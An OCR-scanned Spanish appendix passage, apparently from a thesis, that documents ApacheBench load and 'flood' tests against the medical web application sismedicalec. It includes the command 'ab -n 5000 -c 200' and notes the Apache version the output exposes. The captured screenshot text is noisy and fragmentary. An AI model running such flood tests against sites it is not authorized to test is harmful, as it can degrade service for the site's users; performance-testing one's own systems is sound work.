5v1.2,ECDHE-RSA-AES256-GCM-5HA384, 2048, 256
519 253 bit
Name : W edicalec.com

Document Path:
Document Length:

Figura F.6: Ingreso de comando para la ejecucion de pruebas de stress

Como esta solicitud es més alta que la anterior se puede observar que el tiempo
de la peticion segun la figura F.6 es de 4.648 segundos en total en la respuesta.
Ahora se lleva a cabo una nueva peticion estableciendo parametros diferentes
como es: -c parametro especifica el nimero de conexiones, -k son soportes para
HTTP Keep-Alive, y -t es el parametro que establece el tiempo en segundos
durante el cual cada conexion esta activa.

5000
100¢
15000 re
20000 re
25000
30000
35000 re
40000

r Software e/2.4.39

r Hostname: W . S dicalec.com

r Pe
TLSv1.2,ECDHE-RSA-AES256-GCM-SHA384,2048, 256
X25519
www.sismedicalec.com

/
6561 bytes

20

60.000 seconds
41031

]

40634
287742082 by

[LEELY]
nean)
n, across all concurrent requests)

Figura F.7: Ingreso de comando para una nueva solicitud al aplicativo web



Esta peticion muestra informacién requerida segun los parametros ingresados en
el comando como se observa en la figura F.7 y con un tiempo de 60 segundos como
fue establecido.

Para realizar una prueba de "inundacién”, se establecemos el nimero de solicitudes
(-n) a digamos 5000, y se asigna el numero de conexiones concurrentes (-c) a algo
asi como 200.

:/root$ ab -n 5000 -c 200 https://www.sismedicalec.com/
h, Vv <4

tech.net/
rg/

dicalec.com (be patient)

TLSv1.2,ECDHE-RSA-AES256-GCM-SHA384, 2048, 256
X25519 253 bits

www.sismedicalec.com

/

6561 bytes

23.317 seconds

Exceptions: @)

Figura F.8: Comando para realizar solicitudes al sistema “sismedicalec”

Segun se observa en la figura F.8 la peticion se llevo con éxito y revela cierta
informacion relevante como es la versidn de Apache que usa la aplicacion web que
estéd en investigacion.

Y también revela el tiempo que demoré cuando terminé las 5000 solicitudes que
fue de 23.317 segundos.



